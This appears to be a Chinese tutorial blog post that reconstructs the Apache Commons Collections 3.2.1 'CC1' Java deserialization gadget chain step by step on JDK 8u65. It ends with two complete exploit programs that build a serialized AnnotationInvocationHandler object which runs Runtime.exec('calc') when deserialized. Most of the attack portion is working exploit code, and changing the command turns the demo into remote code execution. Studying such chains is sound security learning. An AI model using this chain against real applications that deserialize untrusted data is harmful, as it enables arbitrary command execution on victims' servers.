0x00 CC1
文章目录
环境配置
- JDK -> 8u65
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
直接去官网下载exe文件(现在官网好像有点问题 点完之后就是111
可以用这个https://blog.lupf.cn/articles/2022/02/19/1645283454543.html
最好放到虚拟机里面下载 然后把jdk的文件夹复制出来
- Maven
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
- OpenJDK -> sun
为了方便调试,jdk中的一些是反编译后的.class
文件 一些命名都是var1 不方便 无法查看源码,所以我们自己下载一下java文件替换一下
下载地址 :https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
点zip 下载
解压原jdk中的src包
然后把刚刚下载的里面的/src/share/classes
里面的sun 直接拖到解压的src里面 然后添加到项目结构中 如下:
到此结束 成功为java文件
到此CC1的基础配置结束
开审
首先要明白我们利用的思路,找到最终的一个危险利用的地方,然后一点一点往前溯源,找到我们可以进入的入口类
目标构造语句 Runtime.getRuntime().exec("calc");
基础反射原理对上述语句进行转化:普通Java反射
public class cc1_2 {
public static void main(String[] args) throws Exception{
//获取其方法 exec 参数类型点进去看 发现是String
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
//实例化调用
Runtime r = Runtime.getRuntime();
execMethod.invoke(r, "calc");
}
}
尾部 InvokerTransformer.transform(Object input)
看到有很多方法实现了transform接口,查看方式Ctrl + Alt + B
进到里面看一看,发现有个非常显眼的InvokeTransformer里面有非常明确的调用任意方法的功能
到此确定 最终我们要利用点在此
先验证一下这个函数方法是否能成功调用,将上面普通Java反射的方法改成Transformer的
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method; public class cc1_2 { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); } }
其实对比一下 你就知道为什么选择这个了 左边是自己写的 右边是transform方法
所以这个transform方法是一个天然的反射方法
transform -> TransformedMap.checkSetValue(Object value)
下面回溯 => 去看谁调用了transform方法
去关注不同名字调用transform
的地方,同名调用没有用
找到这里checkSetValue
方法中 没有任何限制的直接调用了transform
方法
所以结合上面的形式,我们需要给valueTransformer
赋值为前面这段,value
赋值为r
去看checkSetValue方法的所在类 如何构造赋值
直接点一下valueTransformer 查看在哪赋值
这样valueTransformer赋值成功,但是我们还需要看一下value怎么传入 怎么赋值
所以查看一下哪里调用了checkSetValue
这个方法
Alt + F7
或直接鼠标右键
发现只有一个地方调用了
按理说应该继续去追踪setValue
有哪里调用了,但是有太多,一个一个找比较麻烦,我们分析一下这个地方的作用,其实是重写了Map在遍历时的setValue方法
举例一下用法:
HashMap<Object, Object> map = new HashMap(); map.put("123","456"); for(Map.Entry entry:map.entrySet()){ System.out.println(entry.getValue()); } //输出: 456 HashMap<Object, Object> map = new HashMap(); map.put("123","456"); for(Map.Entry entry:map.entrySet()){ System.out.println(entry.setValue("new")); System.out.println(entry.getValue()); } //输出 456 new
entry就是一组键值对
所以此时想要传值,就要遍历键值对,把我们前面的作为键,传入的value作为值
到此这一段成功执行:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1_2 {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap();
map.put("123","456");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
System.out.println(entry.setValue(r));
}
}
}
测试结束,可行
readObject
下面就不得不去寻找谁调用了setValue 最好是来个readObject
好巧不巧 还真有, 既然真有,那这就是整条链的入口了,回溯到起点了
但是观察这个类和构造方法
没有声明public 没写也就是default 也就是只有在同包下才能调用
所以必须用反射才能获取,无法直接获取
四步走:
//反射类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//设置作用域
annotationInvocationHandlerConstructor.setAccessible(true);
//赋值调用
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
注意构造时,完全是按照这个参数来的,Annotation
是@的那种注解类似是Class,后面是一个Map型参数
到此可以加上序列化和反序列化稍微整合一下了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1_2 {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap();
map.put("123","456");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
//反射类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//设置作用域
annotationInvocationHandlerConstructor.setAccessible(true);
//赋值调用
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("cc1.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
但是还是不能成功的,整体框架已经搭建好了,下面有些细节需要完善一下
问题完善
- Runtime类:没有实现Serializable 无法序列化
设置上面的两个if语句 成功进入到setValue中
readObject方法中setValue值不对 无法正确传入
Runtime.class
解决问题1
原语句:Runtime r = Runtime.getRuntime();
Runtime无法序列化,但是其类Class可以序列化,下面进行反射利用
首先展示常规基本思路,然后一点一点修改为InvokerTransformer
的版本
import java.lang.reflect.Method;
public class runtimeTest {
public static void main(String[] args) throws Exception{
// Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);//无参方法
//调用 强转类型
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//第一个表示静态方法 为null 第二个表示无参 为null
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
}
}
...
代表是数组
invoke
下面是修改为InvokerTransformer
的版本的过程,自己写的话其实还好,直接看肯定会有点懵
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class runtimeTest {
public static void main(String[] args) throws Exception{
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
//
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r, "calc");
//调用transform对象r的getMethod方法 第二个参数是类型,第三个参数是值 对transform的内容进行调用
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//外层是InvokerTransformer的参数类型 Class 和 Object 里面分别是invoke的类型和值
Runtime rt = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);
}
}
虽然看着有点乱,但是放宽审视,从上到下就是递归调用的过程 相当于getRuntime->invoke->exec("calc")
但是想上面这样写 重复性很高,想到一开始发现过的ChainedTransformer
看下用法:传一个数组即可 然后调用transform
方法
实现:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class runtimeTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers ={
//还需要调用一个Runtime.class 传入
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
解决问题2
需要找一个有成员方法的注解
可以发现Override为空 啥也没有
而Target里面有一个成员 值为value
需要把Map的键改成这个名字
这样分析 其实Retention也可以
果然,所以要跟进去明白原理,而不能照搬
解决问题3
修改代码很简单,先给出代码然后分析
Transformer[] transformers ={
//还需要调用一个Runtime.class
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
在这个数组里面加上第三行就好了
分析:
想利用readObject这个里面 在设置setValue的时候传入Runtime.class
才能在最终的transform里面成功执行
这个地方真的有点抽象我感觉,可以打个断点看看
这是我打断点的地方,没到setValue就点下面第一个红框的 到了setValue那一行点第二个红框的
第一次传入的值没办法 必然是他自己设置的 下面是调试过程
下面进入到checkSetValue里面 可以看到前面是我们传入的Transformer数组
开始执行 第一次没法改变 没影响
注意看下面这个地方,只要我们能让返回的值是Runtime.class
这样下次调用传入object就会是Runtime.class
这也就产生我们的问题三:这个地方非常重要,比较有助于理解
我们需要探索 谁的transform方法 传入任意一个object 都会返回一个固定的值
好巧不巧,还真有,
ConstantTransformer
的 transform方法 会返回一个固定的值iConstant,而这个值也是完全可控的,直接构造传参即可
修改代码后 效果如下
这样执行完transform方法 返回的就是我们指定的
完美解决,到此终于 我们拿下了CC1链!!
代码EXP
直观版
CC1完整链exp:直观版
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","456"); //给一个键值对 进行遍历
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedmap);
serialize(o);
unserialize("cc1.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
注释版
第二次手写:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1_2 {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// Runtime r = Runtime.getRuntime();
// System.out.println(r.getClass()); //就是Runtime.class
// execMethod.invoke(r, "calc");
// Runtime r = Runtime.getRuntime();
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Transformer[] transformers ={
//还需要调用一个Runtime.class
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap();
map.put("value","456");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// System.out.println(entry.setValue(r));
// }
//反射类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//设置作用域
annotationInvocationHandlerConstructor.setAccessible(true);
//赋值调用
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("cc1.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
感谢:
B站白日梦组长